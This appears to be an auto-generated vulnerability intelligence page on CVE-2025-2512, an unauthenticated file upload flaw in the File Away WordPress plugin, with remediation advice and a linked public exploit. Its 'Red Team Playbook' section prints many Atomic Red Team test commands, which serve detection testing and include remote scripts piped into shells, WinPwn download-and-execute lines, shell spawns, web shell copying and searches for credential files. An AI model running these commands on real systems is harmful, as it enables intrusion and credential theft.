CVE-2025-2512
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of capability checks and file type validation in the upload() function of the File Away WordPress plugin. The affected component is the file upload handler within the plugin's management class, which fails to verify user permissions and sanitize uploaded file types. This lack of validation enables unauthorized users to submit files without restriction.
Vulnerability Description
The File Away plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check and missing file type validation in the upload() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload malicious files, potentially leading to remote code execution on the affected server. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward over the network. Successful exploitation can result in full compromise of the web server, data breaches, and persistent unauthorized access, severely impacting the confidentiality, integrity, and availability of the affected environment.
Solution
Users should upgrade the File Away plugin to a version later than 3.9.9.0.1 where this issue is addressed. Detailed patch information and remediation instructions are available at the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/9a93313d-a5d7-4109-93c5-b2da26e7a486) and the official WordPress plugin page (https://wordpress.org/plugins/file-away/#developers). No official workaround is documented; immediate update is recommended to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the File Away plugin for WordPress stems from inadequate security measures in its file upload functionality. Specifically, the absence of proper capability checks and insufficient validation of file types allows unauthorized users to upload files to the server. This weakness is particularly concerning because it can lead to the execution of arbitrary code, enabling attackers to potentially take full control of the affected system. The upload function, which should enforce strict checks to ensure that only authorized users can upload files and that those files meet specific criteria, fails to do so, thereby exposing the server to significant risks.
Attack vectors exploiting this vulnerability are varied and can be executed with minimal technical expertise. An attacker could simply craft a malicious file, such as a PHP script, and upload it through the vulnerable plugin’s interface. Since the plugin does not validate the file type or check the user’s permissions, the attacker can bypass these security measures. Once the malicious file is on the server, the attacker can execute it, leading to remote code execution. This could allow them to manipulate the server, access sensitive data, or even pivot to other systems within the network, amplifying the potential damage.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the File Away plugin for managing files on their WordPress sites. The ability for unauthenticated users to upload arbitrary files poses a significant business risk, as it can lead to data breaches, loss of sensitive information, and reputational damage. Furthermore, the exploitation of this vulnerability could result in financial losses due to downtime, remediation costs, and potential legal ramifications stemming from non-compliance with data protection regulations. Organizations may also face increased scrutiny from customers and stakeholders, which can have long-lasting effects on their market position.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in their WordPress installations and plugins. Additionally, organizations should ensure that all plugins, including File Away, are kept up to date with the latest security patches. Employing a Web Application Firewall (WAF) can also provide an additional layer of protection by filtering out malicious requests before they reach the server. Furthermore, implementing strict file upload policies, such as allowing only specific file types and enforcing user authentication, can significantly reduce the risk of exploitation.
In conclusion, the vulnerability in the File Away plugin for WordPress highlights the critical importance of robust security practices in web applications. The combination of inadequate capability checks and file type validation creates a pathway for attackers to exploit the system, leading to severe consequences for affected organizations. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguarding sensitive data and maintaining the integrity of web applications in an increasingly hostile cyber landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
File Away Project | File Away | All |
cpe:2.3:a:file_away_project:file_away:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
whattheslime/file-away-exploit
Remote code execution exploit scripts for the WordPress File-Away plugin (CVE-2025-2512 & CVE-2025-2539)
|
whattheslime | 0 | 0 | 2025-03-19 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2512 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/9a93313d-a5d7-4109-93c5-b2da26e7a486?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/file-away/trunk/lib/cls/class.fileaway_management.php#L1094 |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/file-away/#developers |
| github.com |
GitHub CVE
|
https://github.com/whattheslime/file-away-exploit?tab=readme-ov-file |